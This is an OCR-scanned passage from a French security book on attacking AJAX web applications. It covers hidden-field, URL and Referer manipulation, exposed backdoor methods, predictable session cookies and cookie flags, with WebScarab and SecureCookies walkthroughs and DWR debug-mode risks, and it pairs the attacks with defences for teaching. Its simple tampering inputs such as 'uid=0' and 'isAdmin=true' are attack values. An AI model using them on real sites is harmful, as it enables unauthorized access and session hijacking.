satisfaisant les controles des filtres protegeant 1' application, mais toutefois susceptibles 
d'y produire des problemes. 

Un exemple amusant de ce type d' attaques est le cas des paniers dans les sites de 
commerce electronique a la fin des annees 1990. Dans ces applications, a chaque fois 
que I'utilisateur choisit un objet qu'il souhaite acheter, celui-ci integre son panier, 
accompagne de son prix. Ce dernier, stocke dans un champ de formulaire masque, etait 
renvoye au client lors de chaque requete. A I'epoque, les developpeurs pensaient que ce 
choix de programmation laisserait ce parametre hors de portee de I'utilisateur. Malheu- 
reusement pour ces premiers sites de commerce electronique (mais heureusement pour 
I'auteur, dont la chambre de dortoir arborait alors un televiseur grand ecran acquis pour 
un dollar), rien n'empechait un client indelicat de modifier ce champ cache pour le 
remplacer par la valeur de son choix. II pouvait alors acheter 1' article au nouveau prix, 
ni vu ni connu par 1' application web ni par ses developpeurs. 

Cette attaque elementaire fondee sur la manipulation de parametres ne fonctionne 
certes plus dans les applications de commerce electronique, mais cette famille d' agres- 
sions continue a sevir - tant dans le Web 1 .0 que dans les applications modernes ecrites 
en AJAX. En effet, elles n'exploitent pas une faiblesse technique particuliere, mais une 
faille dans I'organigramme du site. En realite, I'expression manipulation de parametre 
recouvre plusieurs types d' attaques, detaillees ci-apres. 

Manipulation de champs caches 

Une manipulation de champ cache (hidden dans un formulaire HTML) correspond au 
cas oil r application web stocke une valeur importante, comme I'identifiant numerique 
de I'utilisateur (UID), dans un champ non affiche sur la page web. Lors de toute action, 
ce champ est transmis avec le reste de la requete et indique au serveur qui est I'utilisa- 
teur et de quels droits il dispose. Cependant, ce champ, n'echappant pas a la vigilance 
d'un agresseur potentiel, pourra etre remplace par la valeur de son choix. En general, ce 
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dernier emploiera un outil pour exposer les champs caches d'un formulaire oil il pourra 
ensuite modifier la valeur d'UID pour la regler a "0", qui correspond generalement a 
I'identifiant numerique du compte administrateur. 

Manipulation d'URL 

La manipulation d'URL constitue un exemple d'attaque simple, qui rappelle le cas 
precedent. II s'agit ici d'une application stockant une valeur sensible, non pas dans un 
champ cache de formulaire, mais en tant qu'argument dans I'URL. Reprenant I'exem- 
ple de I'identifiant numerique de I'utilisateur, un programme vulnerable pourra se 
presenter sous la forme www. example. com/application. jsp?uid=12345. II suffit alors 
de modifier cette adresse sous la forme www. example . com/application . j sp?uid=0 
pour disposer alors d'un acces privilegie sur 1' application. 

Manipulation d'en-tetes 

Attaque plus complexe, la manipulation des en-tetes HTTP suppose d'intervenir sur les 
elements du protocole HTTP emis par le navigateur vers le serveur. Elle se montrera 
efficace dans le cas d'une application s'appuyant sur I'en-tete de referent (Referer) 
pour s'assurer que I'utilisateur s'est bel et bien connecte. Dans Texemple suivant, lors 
de tout acces a une URL protegee comme www. example . com/ protected /index . j sp, le 
programme verifie d'abord si I'en-tete Referer indique que I'utilisateur a soumis sa 
requete depuis la page de connexion (par exemple, www.example.com/login.jsp). 
Le cas echeant, elle conclut que cette operation a reussi et renvoye la personne ainsi 
reconnue sur la ressource d' acces restreint. II suffit alors a un agresseur de modifier 
I'en-tete HTTP Referer pour y mentionner I'URL www.example.com/login.isp, ce 
qui satisfera a bon compte 1' application credule, laquelle conclura alors que I'attaquant 
correspond a un utilisateur authentifie. 

Exemple 

Voici un exemple montrant comment employer I'extension Web Developer du naviga- 
teur Fii^efox pour exposer et manipuler les champs de formulaire caches d'une applica- 
tion web. 

1. Installez le module libre de developpement web pour Firefox appele Web Developer 
et disponible a 1' adresse http://chrispederick.coin/work/webdeveIoper/. Cet outil 

permet a un agresseur de realiser de nombreuses actions dans une application web, 
mais cet exemple n'en exploitera que les fonctionnalites de formulaire. 

2. Montrez les champs caches en cliquant droit n'importe oii dans la page, avant 
d'opter pour Web Developer I Fonns I Display Form Details (extension Web Develo- 
per I formulaires I detailler le formulaire) (Figure 6.3.b). 
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Figure 6.3. b 

Cliquer droit pour invoquer les menus de Web Developer depuis une application web. 

3. On remarque alors les champs caches et notamment Champ secret cache, qui 
renferme la valeur Texte cache.{Figme 6.3.c). 
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Figure 6.3.c 

Modifier la valeur d'un champ de formulaire cache depuis I'extension Web Developer pour Firefox. 
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4. L'agresseur peut alors intervenir sur cette valeur pour la remplacer par la chame de 
son choix - par exemple Texte manipiile. Quand il en aura termine, le formulaire 
sera soumis de la maniere habituelle (Figure 6.3.d). 
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Figure 6.3.d 

Soumission au serveur web du formulaire modifie. 

Prevention contre la manipulation de parametres 

Les precautions permettant de se proteger contre ce type d' agressions sont souvent 
immediates, et reposent sur les memes principes sous-tendant la plupart des autres 
lignes de defense : ne jamais faire une confiance aveugle a ce qui vient des utilisateurs. 
Les developpeurs ne stockeront jamais de valeurs sensibles sur le client en supposant 
qu'elles n'y seront pas trafiquees. Des que possible, ils opteront pour une memorisation 
cote serveur, a laquelle le client accedera alors a travers un identifiant de session. Enfin, 
r application veillera a toujours controler que le client a le droit de realiser Taction 
demandee et verifiera scrupuleusement toute valeur qu'il lui foumit. 

Recapitulatif des manipulations 

Le terme generique et frequent d'attaque par manipulation de parametres recouvre 
plusieurs sous-classes d' agressions. Ces dernieres s'appuyant sur un defaut de reflexion 
et de programmation dans 1' application, il est tres difficile d'automatiser la detection de 
ce type de failles. C'est pourquoi les agresseurs se reposeront sur des outils comme 
I'extension Web Developer pour le navigateur Firefox pour explorer manuellement les 
applications a la recherche de parametres importants susceptibles d'etre modifies. 
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La nature meme de ce type d'attaques (failles dans les algorithmes et les organigram- 
mes) assure qu'elles continueront a menacer les applications web pendant encore un 
bon moment. 



Expositions non intentionnelles 



Popularite : 


3 


Simplicite : 


6 


Impact : 


4 


Evaluation du risque : 


4 



Les expositions non intentionnelles presentent un cas de figure interessant, qui peut 
survenir lors de la migration d'une application depuis le monde traditionnel du Web 1.0 
vers un environnement AJAX. Cela s'explique par les changements dont les clients sont 
desormais informes des fonctionnalites du serveur. 

Dans les applications traditionnelles du Web 1.0, les developpeurs prevoyaient parfois 
des portes derobees (backdoors) pour intervenir facilement sur la version en production 
d'une application. En effet, ils disposent rarement d'un acces direct aux systemes de 
production, tout en ayant la responsabilite d'y corriger les bogues decouverts. Ces 
portes derobees fonctionnent generalement a I'aide d'une methode masquee construite 
dans r application, que les developpeurs peuvent appeler pour obtenir des privileges 
d'administrateur. Pour un agresseur, il est quasiment impossible de decouvrir ces failles 
dans les applications du Web 1.0 ; il faudrait lancer une attaque brutale, testant exhaus- 
tivement tous les noms de methodes jusqu'a trouver la bonne, avant de recommencer 
pour deviner les arguments a lui transmettre. 

Lorsqu'une application web traditionnelle est dotee des proprietes AJAX, il arrive qu'y 
soient exposees des methodes auparavant cachees. En effet, pour faire fonctionner le 
programme, toutes les methodes de 1' application sont souvent etiquetees comme publi- 
ques. Tapie au coeur du code JavaScript desormais transmis au client, la fonction de 
porte derobee accompagne desormais les autres methodes. C'est pourquoi les agres- 
seurs peuvent desormais les decouvrir en inspectant manuellement toutes les methodes 
decouvertes lors de I'exploration d'une cible. Souvent, leur nom trahira facilement les 
portes derobees. Comme on le voit a la Figure 6.4, tout agresseur obtenant une liste des 
methodes disponibles pourra I'examiner soigneusement a la recherche d'expositions 
non intentionnelles. 
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Figure 6.4 

Une methode trahissant une parte derobee. 



Non contente de reveler des methodes cachees, une transition du Web 1.0 vers AJAX 
peut aussi trahir des URL secretes. A nouveau, cela s'explique principalement par le 
fait que les developpeurs ne maitrisent pas la comprehension des elements desor- 
mais montres dans le code JavaScript transmis au client. Lors du recours a un 
framework AJAX pour migrer une application classique, les URL apparaissant dans 
I'arborescence source, sans jamais apparaitre aux clients, pourront desormais etre 
embarquees par le framework AJAX. Developpons cet exemple en imaginant le cas 
d'une application ayant une partie administrative cachee et fonctionnant a I'adresse 
www. example . com/app/admin, adresse jamais publiquement mentionnee auparavant. 
Cependant, apres qu'un developpeur a fourni le code source de 1' application a un 
framework AJAX pour la doter de proprietes asynchrones, ce dernier a automatique- 
ment produit du code JavaScript decrivant les methodes relevant de cette partie jadis 
secrete. Desormais, a chaque fois qu'un client recevra le code JavaScript decrivant 
les methodes exposees sur le serveur, il y trouvera les fonctions de la portion admi- 
nistrative du site. Un agresseur peut ainsi decouvrir cette URL sensible, s'y connec- 
ter et realiser des actions normalement reservees a I'equipe de developpement ou de 
maintenance. 
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Prevention contre I'exposition non intentionnelle 

Les precautions permettant de se proteger contte ce type d' agressions sont immediates, 
mais malheureusement pour les developpeurs, il n'existe aucun processus automatise 
pour les mettre en place. Apres avoir dote une application des fonctionnalites AJAX en 
la migrant, les programmeurs inspecteront le resultat pour s'assurer qu'il ne revele 
aucune information auparavant cachee. Des outils comme WebScarab s'avereront de 
precieux allies pour mener 1' analyse des donnees brutes echangees entre le client et le 
serveur, a la recherche de donnees sensibles qui n'ont rien a y faire. 

Recapitulatif des expositions 

II s'agit d'une classe de problemes propres a la technologic AJAX, car le developpeur 
d'une application du Web 1.0 comprend clairement ce qu'elle transmet ou non au 
client. Cependant, une migration vers AJAX implique souvent I'emploi de scripts auto- 
matises ou de configurations par defaut du framework pour definir les informations a 
exposer. A Tissue du processus, les modifications dans I'ensemble de donnees exposees 
aux clients surprendront parfois les developpeurs. 

Cookies 

L' identification de sessions a 1' aide de cookies demeure un probleme de securite 
important dans les applications web, meme s'il n'est pas directement affecte par une 
migration vers la technologic AJAX. En la matiere, les developpeurs se reposent 
parfois sur une fausse impression de securite, tout identifiant de session d'apparence 
suffisamment "aleatoire" leur semblant securise - alors que ce n'est presque jamais le 
cas. Nous analysons brievement ci-apres trois manieres differentes de generer des 
cookies d'identification. 

Le truand 

La maniere la plus simple de produire des cookies d'identification de session 
consiste a coder en Base64 un simple nombre qui augmente peu a peu, comme une 
estampille temporelle (timestamp). Pour exploiter un tel identifiant de session, 
I'agresseur se contentera d'augmenter ou de diminuer la quantite concernee jusqu'a 
decouvrir d'autres valeurs valables. Cette maniere de proceder a certes quasiment 
disparu, mais on 1' observe encore parfois. EUe represente de loin la methode la 
moins sure de produire des cookies d'identification de session. La Figure 6.5 montre 
comme il est facile, avec I'outil WebScarab, de predire une valeur regulierement 
incrementee telle qu'une estampille temporelle. 
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Figure 6.5 

Analyse dans WebScarab d'un identifiant de session elementaire. 
La brute 

II est certes rare de rencontrer des generations de cookies d'identification de session 
aussi elementaires qu'un numero de sequence, mais on trouve tres souvent une grande 
quantite de techniques tout aussi mauvaises. 

Citons d'abord le maquillage d'un numero de sequence d'abord hache puis encode en 
Base64. Un examen rapide des cookies produits de cette maniere rassurera sans doute 
I'observateur, notant un identifiant de session apparemment aleatoire. Cependant, face 
a un tel identifiant, un agresseur reagira rapidement en appliquant une fonction de 
hachage a une grande liste de nombres qui se suivent. S'il en retrouve certains, il saura 
quelle suite de numeros sert a la generation de cookies et pourra compromettre I'identi- 
fiant de session de son choix. 

Signalons encore I'emploi d' informations propres a I'utilisateur, associees a une autre 
source de donnees. Souvent, on procede en concatenant le nom d'utilisateur a une estam- 
pille temporelle, avant d'employer I'encodage en Base64 ; le tout utilise comme identi- 
fiant de session. Voila une methode extremement peu sure, car il est facile a un agresseur 
de la reconnaitre en analysant plusieurs identifiants de session. Des qu'il detectera des 
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cookies ainsi produits, il remarquera que leurs premiers caracteres dependent de I'utilisa- 
teur, tandis que la suite change d'une session a I'autre. II y reconnaitra rapidement I'asso- 
ciation d'un identifiant utilisateur a un timestamp, methode facile a detoui^ner. 

Certains developpeurs poussent cet exemple en concatenant un identifiant a une estam- 
pille temporelle, avant de hacher le tout puis de I'encoder en Base64. Certes, le resultat 
produit semble desormais aleatoire a chaque fois, mais cela n'en dope pas pour autant 
de securite de maniere significative. Malheureusement pour les developpeurs se conten- 
tant d'une telle technique, face a tout identifiant de session aleatoire et paraissant hache, 
un agresseur testera tres rapidement 1' association d'un identifiant utilisateur a un times- 
tamp. En se connectant sur le systeme, il connaitra les valeurs de ces deux elements, 
dont il pourra alors hacher 1' association de diverses manieres, en tachant de retrouver le 
cookie renvoye par le systeme. Toute reussite lui donnera I'algorithme de generation 
des identifiants, information qu'il pourra alors exploiter pour compromettre toute 
session de son choix. La Figure 6.6 donne un exemple de cookie produit par hachage 
d'un identifiant utilisateur et d'une estampille temporelle, pour montrer comment de 
mauvaises valeurs de cookies peuvent sembler aleatoires de prime abord. 
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Figure 6.6 

Des valeurs de cookies apparemment aleatoires ne sont pas toujours securisees. 
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Exemple d'analyse des aleas des cookies de session avec WebScarab 

L'exemple suivant montre comment employer I'utilitaire WebScarab pour analyser les 
aleas des cookies de session produits par une application web. 

1. Installez puis executez I'utilitaire WebScarab d'OWASP, gratuitement disponible a 
I'adresse www.owasp.org/index.php/Category:OWASP_WebScarab_Project. 

2. Dirigez le navigateur web sur WebScarab, qui par defaut ecoutera sur le port 8008 
de la machine locale (localhost). 

3. Connectez-vous sur le site cible depuis le navigateur. Dans ce cas de figure, nous emploie- 
rons http ://Iabs isecpartners.com/HackingExposed20/timestamp_cookie.php 

(Figure 6.6.b). 
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Parametres du reseau locai 

Les parametres du reseau locai ne s'appiiquent pas aux [ Pat 
connexions d'acces a distance, Ciiquez sur le bouton 
Paramietres ci-dessus pour definir ies options de 
numerotation. 



ametres rt 



Configuration automatique-— ■ — ■ — — ■ — ■ 

La configuration automatique peut annuler ies parametres manuels, 
Pour garantir leur utiiisationj desactivez ia configuration automatique. 

I I Detecter automatiquement ies parametres de connexion 
□ Utiliser un script de configuration automatique 
Adresse ; | | 

.■-Serveur proxy 

0 LItiiiser un serveur proxy pour votre reseau iocal (ces parametres 
' ne s'appiiquent pas aux connexions d'acces a distance ou VPN). 



Adresse ; | | Port ; | 80 

I I l^e pas utiliser de serveur proxy pour les adre 




Parametres du proxy 



Appliquer 



H vdrmiv Luiripiyirmriidrv !>uruiLUL. 

iSEC Partners offers a wide variety of services, from VoIP sei 
training to Inighly complex application penetration testing. Alt 
our service offerings are well defined, we are happy to ' 
you to create the proper blend of training, testing, and planr 
meet your difficult security needs, 

Engineering Exceiience 

iSEC Partners only employs skilled consultants, who perfoi 
original research and are often invited to speak at the indust 



&J , Type Adresse du proxy o utilise^ 
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HTTP ; I 127,0.0,1 
^ecurise : | i77,n.n,i 



FTP ; I 127,0.0,1 

5ocks ; I 



I SOQS I 
I 3003 I 
I 3003 I 



0 Utiliser le meme serveur proxy pour tous ies protocoles 



^i. , l^e pas utiliser de proxy pour ies adresses commenfant par ; 

ml 



utiliser le point-virgule ( j ) pour separer ies entrees. 



Figure 6.6.b 

Processus de configuration du navigateur pour la mise en place du mandataire (proxy) 
web OWASP WebScarab. 
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4. Controlez le resume propose par WebScarab pour verifier remission d'un cookie 
(colonne Set Cookie). Prenez note du numero identifiant cette requete 
(Figure 6.6.c). 



i WebScarab 






File View lools Help 






ii :: Summary || Message log | ProKy || Manual Flequ 


est WebServices | Spider SessionID Analysis | Scripted | Fragments | Fuzzer Compare Search | 











Q Summary : : |:| : : r 



□ Tree Selection filters cottversation list 

UrI I Methods I Status I Set-Cookie I Comments I Scripts" 

«- [I3 iittp ^MWvV.eKamplG.com GO/ ODD 



2007/01/1 7 17:22:42 



http://WvW.example.com:0 



Figure 6.6.c 

Reperer I'identifiant de session (ID) en presence d'un coolde dans la colonne Set Cookie. 

5. Cliquez sur le bouton d' analyse d'identifiant de session (SessionID Analysis) situe 
sur le haut de I'ecran. Dans le menu deroulant des requetes precedentes (Previous 
Requests), choisissez le numero repere a I'etape 4. Cliquez ensuite sur le bouton de 
test (Test) en au pied de I'ecran pour controler que WebScarab est bien capable 
d'identifier I'identifiant de session (Session ID) de la requete retenue. Une reussite 
sera signalee par une boite de dialogue de confirmation (Figure 6.6.d). 

6. Si tout va bien, renseignez le champ Samples (nombre d'echantillons) en deman- 
dant 1 000 requetes puis cliquez sur le bouton de rapatriement Fetch pour debuter le 
test (Figure 6.6.e). 

7. Quand le test a debute, choisissez I'objet dans le menu deroulant d'identifiant de 
session (Session Identifier) dans I'onglet d' analyse (Analysis tab) de la fenetre 
d'analyse d'identifiant de session (SessionID Analysis) - Figure 6.6.f. 

8. Enfin, apres avoir choisi I'identifiant de session (Session ID), optez pour I'onglet de 
visualisation (Visualisation) de la fenetre d'analyse d'identifiant de session (Sessio- 
nID Analysis) pour obtenir un graphique montrant a quel point il est facile (ou non) 
de predire les valeurs des identifiants de session dans 1' application ciblee 
(Figure 6.6.g). 
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Figure 6.6.d 

Verification prealable de la connaissance par WebScarab de I'identifiant correspondant 
a la session retenue. 
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Figure 6.6.e 

Choix du nombre d'echantillons a tester et demarrage de I'operation. 
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Figure 6.6. f 

Tableur donnant la liste des identifiants de session obtenus par des requetes repetees 




Figure 6.6.g 

Graphique resultant de la procedure et signalant id des identifiants de session tres faciles a devinen 
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Drapeaux de cookies 

En complement de leur composante d'identifiant de session, divers autres facteurs des 
cookies peuvent contribuer (ou reduire) significativement leur securite. Citons notam- 
ment les drapeaux securises (secure) et limitant le cookie au protocole HTTP 
(HttpOnly), les proprietes de domaine (domain) et de chemin (path), ainsi que des 
elements supplementaires propres a chaque site. 

Drapeau securise ( secure) 

Ce drapeau interdit au navigateur d'emettre le cookie en clair, sur protocole HTTP. 
II sera done reserve aux communications HTTPS. Ce drapeau, pris en charge par 
tous les navigateurs principaux, empechera un agresseur d'obtenir le cookie en reni- 
flant le reseau. 



Drapeau limitant au protocole HTTP (HttpOnly) 

Le drapeau HttpOnly vise a premunir les attaques detournant les cookies par injec- 
tion de donnees arbitraires (XSS). Pour cela, il desactive la possibilite pour les 
scripts executes par le navigateur d'acceder a quelque cookie que ce soit. Actuelle- 
ment, seuls les navigateurs Internet Explorer de Microsoft et Firefox de Mozilla 
acceptent ce drapeau. 

Propriete de domaine (domain) 

La propriete domain d'un cookie limite le perimetre des serveurs autorises a y acce- 
der. Si une application la limite a son propre serveur web (disons, www. exam 
ple.com), seule cette machine pourra lire le cookie concerne. Pour renforcer 
davantage la securite, on se contentera d'y indiquer la valeur vide ("domain=") pour 
s' assurer que seul le serveur 1' ay ant mis en place pourra acceder au cookie. Les 
agresseurs inspecteront les restrictions de cette propriete sur tous les cookies : tout 
reglage peu, ou insuffisamment, restrictif leur permettra de detourner le cookie a 
travers des attaques lancees depuis d' autres serveurs du meme domaine. Conside- 
rons ainsi le cas d'un agresseur souhaitant detourner le cookie d'un utilisateur 
connecte sur www.example.com, et dont la propriete de domaine ne porte que sur 
.example.com au lieu de preciser integralement www.example.com. Si I'agresseur 
parvient a lancer une attaque XSS depuis forums.example.com, PC de joe. exam 
pie . com ou tout autre systeme du domaine example . com domain, il pourra detourner 
le cookie de I'utilisateur : toute autre machine du domaine example.com dispose en 
effet du droit d'y acceder. 
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Propriete de chemin (path) 

La propriete de chemin d'un cookie limite encore un peu plus le perimetre des appli- 
cations du serveur autorisees a acceder a un cookie donne. II faudra que les agres- 
seurs decouvrent une faille dans 1' application precise pour obtenir le cookie d'un 
utilisateur ; il ne leur suffira pas de compromettre n'importe quelle application du 
serveur. Imaginons par exemple un serveur hebergeant plusieurs application : un 
magasin al'adresse www.example.com/store/ et un forum pour ses clients en 
www. example .com/forum/. Si la propriete path d'un cookie ne precise pas 
www.example.com/store/, un agresseur pourra realiser une attaque XSS a travers 
www.example.com/forum/ tout en accedant aux cookies definis par www. exam 
ple.com/store/. Malheureusement, il existe des manieres de contourner la 
propriete Path, deja evoquee au Chapitre 2. 

Elements propres a chaque site 

On peut enrichir les cookies d'une application site par site en y integrant de nombreux 
elements personnalises. Bien que ces derniers n'aient en general aucune influence sur la 
securite d'une application, les agresseurs examineront chacun d'entre eux au cas oil. On 
a deja vu des developpeurs compromettre la securite de toute une application par 
I'inclusion d'elements dans ses cookies - citons le cas de I'affectation isAdmin=f alse 
(je ne suis pas un administrateur). II suffit des lors a un agresseur de remplacer cette 
chaine par isAdmin=true (je suis un administrateur) dans un cookie pour beneficier de 
tous les droits d'acces sur le systeme. 

Exemple d'analyse des cookies avec SecureCookies 

L'exemple suivant montre comment employer I'utilitaire SecureCookies d'iSEC 
Partners pour analyser les options de securite cookies produits par une application 
web. 

1. Installez I'outil SecureCookies d'iSEC Partners, gratuitement disponible (pour 
Windows) a I'adresse www.isecpartners.com/tooIs.html. II analyse les drapeaux et 
proprietes d'un cookie ainsi que tout element propre au site, a la recherche d'erreurs 
de configuration portant sur la securite. 

2. Executez SecureCookies en invoquant une invite de commandes Windows, ou Ton 
se rendra dans le repertoire du produit avant de demarrer le programme en lui preci- 
sant pour argument le site web cible (Figure 6.6.h). 

3. A Tissue de son execution, il rassemblera ses resultats dans un fichier au format 
HTML afin d'en permettre la consultation dans un navigateur web (Figure 6.6.i). 
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I Shortcut to cmd.exe 



JeJj 



C:SProgpan Files\iSEC Partnei*s\SecureCool«ies >SecupeCookies . exe littp://www.exanpl 
e .con/test_cookie -php 

Secure Cookie flnaliiser 
iSEC Partners 

Uritten by Tin Neuslian and Himanshu Duiuedi 
https ://wHW. isecpartners .con 

[ SESSI0NID=1169334482; expires=Mon, 19-Feb-2007 23:08:02 GMT; path=/; domain 

=wwu.exanple .con 

Unsatisf actor^i: Secure Flag has not been set. 
Unsatisfactorii: HTTPOnlii Flag has not been set. 
Unsatisf actori;: Restrictive Path Properti; has not been set. 
Satisf actorv= Connon extraneous itens were not identified. 

Report saved to: http uuii.exanple.con_test_cookie.php.Ftesults.html 

iSecure Cookie flnaliiser Conplete? 

fciSProgran FilesSiSEC PartnersNSecureCookies > 




Figure 6.6. h 

Invocation du programme SecureCookies, depuis une invite de commandes Windows. 
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Secure' Caolde Analyzer 
https://www.isecpartiiers.CDni 
Written by Himanshn Dwh'edi 
Contact: hdwivedi@isecpartners.CDni 



Analyzer Results for http://www.e£ample.coiii/test_cookie.php 

CoDkie : SESSIONII>=1169334482; expires=Mon, 19-Fel)-2007 23:08:02 GMT; path=/; dDmain=www.exaniple.cDm 

• Umsatisfacloiy -- Secure Flag has not been set. Foe more informatiQa refer to Secure Flag 

• Unsatisfactory -- HTTPOnIj' Flag has aot been set. For more irformation refer to H'i'L'POnh'Ftag 

• Unsatisfactory -- Restrictive Path Propert}' has not been set For more information refer to Path Property' 

• Satisfactory -- Common extraneous items were not identified. For more information refer to Extraneous Information 



Secnre Cookie AxaAyxRj Complete! 
VBit iSEC Partners for more information 
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Figure 6.6. i 

Presentation des resultats de I'outil SecureCoolaies, dans un ficliier HTML. 



Chapitre 6 



Types, decouvertes et manipulation de parametres pour AJ AX 193 



Recapitulatif des cookies 

Les developpeurs se reposent parfois sur une fausse impression de securite en 
employant pour leurs identifiants de session des cookies apparemment aleatoires, mais 
faciles a compromettre pour un agresseur apres une analyse assez rapide - il lui est 
alors possible de detourner la session de I'utilisateur de son choix. D' autre part, les 
cookies produits par une application peuvent etre accompagnes d'un certain nombre de 
drapeaux qui en augmentent ou diminuent la securite. Des outils gratuitement disponi- 
bles permettent aux agresseurs de savoir si les cookies d' identifiants de session sont 
previsibles, ou encore d'en analyser automatiquement les drapeaux. Meme s'ils ne sont 
pas directement impliques par les migrations du Web 1 .0 vers la technologic AJAX, les 
cookies demeurent un composant critique de la securite des applications web. 

Resume 

Nous I'avons vu, avant de pouvoir reussir une attaque ciblant une application AJAX, il 
faut suivre un processus de coUecte des informations en plusieurs etapes. L' agresseur 
s'interessera notamment au type d' applications AJAX employe, aux methodes disponi- 
bles et, notamment, a celles apparemment exposees de maniere non intentionnelle. 
Cependant, sa tache se trouvera considerablement facilitee par la mise a disposition de 
plusieurs outils gratuits susceptibles de I'assister tout au long du chemin. A Tissue de 
ces operations de reconnaissance, il pouiTa lancer pour de bon des attaques techniques 
ciblees, telles qu'une injection de donnees arbitraires (XSS) ou au forgement de requetes 
sur d'autres sites (CSRF). 
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En general, les expositions de frameworks AJAX se ressemblent et proviennent de la 
mauvaise comprehension pai^ les developpeurs des informations que 1' application trans- 
met aux clients. Cela s'explique facilement par I'emploi de differents frameworks 
AJAX, emettant par defaut des donnees totalement differentes. Certes, cela ne semble 
pas relever de la securite en soi, mais les applications web renferment souvent des fonc- 
tionnalites ou des informations qui, pour leurs programmeurs, sont censees rester secre- 
tes ; une fois revelees, elles peuvent compromettre la securite du produit. D'autre part, 
chaque framework AJAX integre plusieurs niveaux de protections pour les applications 
web qui s'appuient sur lui. Certains prevoient ainsi des defenses contre les forgements 
de requetes sur d'autres sites (CSRF), tandis que d'autres imposeront aux developpeurs 
de prevoir leurs propres protections. 

Les deux styles de frameworks AJAX existants affectent beaucoup la securite d'une 
application web. Le premier, qualifie de mandataire (proxy) ou framework serveur, 
accompagne generalement une application sur son serveur web. Apres installation, il 
s'intercale entre le serveur et le client de I'application web, en produisant du code 
JavaScript decrivant les methodes disponibles. Ces scripts sont alors transmis au client, 
de sorte que toute requete de celui-ci passe d'abord par le mandataire, lequel reformule 
la demande avant de la communiquer au serveur. Ensuite, les donnees produites par 
I'appel de methode sont transmises du serveur au mandataire, lequel les remet en forme 
avant de les repercuter au code JavaScript du client. L' autre famille, les frameworks 
clients, assiste generalement le developpeur dans I'ecriture d'une nouvelle application 
AJAX. lis lui foumissent d'abord un certain nombre d'effets et widgets pre-ecrits, faciles a 
integrer dans le produit. 
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Le Chapitre 6 detaille les differences separant ces deux types de frameworks, en 
mentionnant notamment comment les reconnaitre et la maniere dont lis transferent les 
donnees entre le client et le serveur. Leurs proprietes distinctes conduiront a de nouvelles 
analyses dans le present chapitre. 

Nous couvrirons ci-apres plusieurs frameworks AJAX des deux types (mandataire et 
client). Pour chacun, nous preciserons un certain nombre de details, les procedures 
d' installation classiques et leurs effets potentiels sur la securite. Les expositions les plus 
courantes qui peuvent provoquer des failles seront egalement evoquees. 

— 4 Info 

Meme accompagnees de I'icone "d'attaque", ces questions ne relevent pas tant de proble- 
matiques d'agressions que d'expositions susceptibles de conduire a des soucis de securite. 



Dans le cas des frameworks clients, nous evoquerons de plus la surface de frappe prin- 
cipale : le format de serialisation. 

Direct Web Remoting 

DWR, acronyme de Direct Web Remoting (http://getahead.org/dwr/), est un veritable 
framework mandataire pour les applications web ecrites en Java. Un developpeur peut 
done opter pour ce langage, puis s'appuyer sur DWR pour generer dynamiquement le 
code JavaScript correspondant. Ce dernier sera transmis aux clients, et leur permettra 
d'acceder a des methodes dans 1' application web Java originale. Tout appel de methode 
envoie les donnees a la servlet DWR sur le serveur d' application. Cette derniere seria- 
lise et deserialise les donnees dans les deux sens, entre le code JavaScript sur le client et 
les methodes Java sur 1' application web. 

Procedure d'installation 

Pour installer DWR, on suivra les etapes suivantes : 

1. S'assurer d'abord que Ton dispose d'un conteneur fonctionnant correctement pour 
les servlets Java, comme Tomcat d' Apache ou WebSphere d'lBM. 

2. Telecharger la derniere version de DWR a I'adresse http://getahead.org/dwr/ 
download. On deplacera ensuite le fichier dwr. jar ainsi rapatrie dans le repertoire 
WEB I NF/ lib de r application web. 

3. Modifier les fichiers de configuration pour y incorporer les fonctionnalites de DWR. 
On ajoutera d'abord les sections <servlet> et <severlet niapping> au fichier WEB 
INF/web. xml, comme explique a I'adresse http://getahead.org/dwr/getstarted. 
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Cette operation peut affecter la securite de 1' application web, car la configuration 
prevue par le site web DWR active par defaut le mode de debogage. Apres la fin des 
tests, on veillera done a desactiver ce dernier. 

4. Ecrire un fichier de configuration dwr . xml, que Ton placera sous le repertoire WEB 
INF. A nouveau, cette etape pose un risque, car ce fichier definit quelles classes 
DWR produiront du code JavaScript emis aupres du client. 

5. Enfin, les fichiers JavaScript produits par DWR rejoindront les fichiers HTML de 
r application web pour doter celle-ci des proprietes de DWR recemment creees. 

Exposition non intentionnelle de metfiodes 



Popularite : 


4 


Simplicite : 


6 


Impact : 


3 


Evaluation du risque : 


4 



Les developpeurs employant DWR risquent de reveler a leur insu certaines methodes. 
Comme evoque plus loin dans I'etude de cas consacree aux expositions, les program- 
meurs d' applications web pouvaient auparavant paitir du principe que leurs utilisateurs 
n'en connaissaient que les methodes explicitement mentionnees. Cependant, le Web 2.0 
a souvent deplace la limite des fonctionnalites publiees, ce qui est partiellement vrai 
dans le cas des applications DWR. Bien que par defaut ce framework ne rende pas 
publiques toutes les classes d'une application web, il mentionnera toutes les methodes 
de toute classe marquee comme a exposer. Si une classe comporte des methodes a ne 
pas signaler aux utilisateurs, il faudra que les developpeurs recourent aux instructions 
d'inclusion et d'exclusion du framework pour acceder a une granularite suffisante dans 
la configuration. Heureusement, en la matiere les developpeurs ont la partie bien plus 
facile que les agresseurs. II leur suffira, avant de montrer une quelconque classe, d'en 
inspecter rapidement les methodes incluses pour s'assurer que seules celles qu'ils 
auront approuvees seront publiees. Quant aux agresseurs, il leur faudra obtenir, puis 
analyser, la liste complete des methodes publiees par 1' application, a la recherche de 
methodes sensibles peut-etre exposees non intentionnellement. Le Chapitre 6 et I'atta- 
que d'exposition mentionnee ci-apres presentent le processus par lequel on peut obtenir 
les methodes exposees par 1' application. 
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Mode de debogage 


Popularite : 


2 


Simplicite : 


6 


Impact : 


3 


Evaluation du risque : 


4 



Une exposition frequente susceptible d'affecter les applications web DWR consiste a lais- 
ser le mode de debogage active. A Tissue des tests, les developpeurs oublient souvent ce 
detail, foumissant ainsi aux agresseurs des infomiations relatives a 1' application web. 
Avec DWR, plusieurs raisons expliquent pourquoi les programmeurs font cette erreur 
d' inattention. Pour commencer, dans le guide de demarrage du produit (http://geta- 
head.org/dwr/getstarted), I'etat par defaut de la configuration active le mode de debo- 
gage. D'autre part, lors de I'execution d'une application web employant DWR, aucun 
indice visuel ne trahit 1' activation du mode de debogage ; la presence de ce dernier est 
done facile a oublier. Developpeurs comme agi^esseurs s'assureront facilement de I'acti- 
vation de ce mode. Dans le cas du site www.cybermechants.com/exempleDApplication/ 
, il suffit de se rendre sous www.cybermechants.com/exempleDApplication/dwr/. Si le 
mode de debogage est desactive, le message Access to debug pages is denied^ accueillera 
le visiteur. Dans le cas contraire, le programmeur et I'attaquant obtiendront une page 
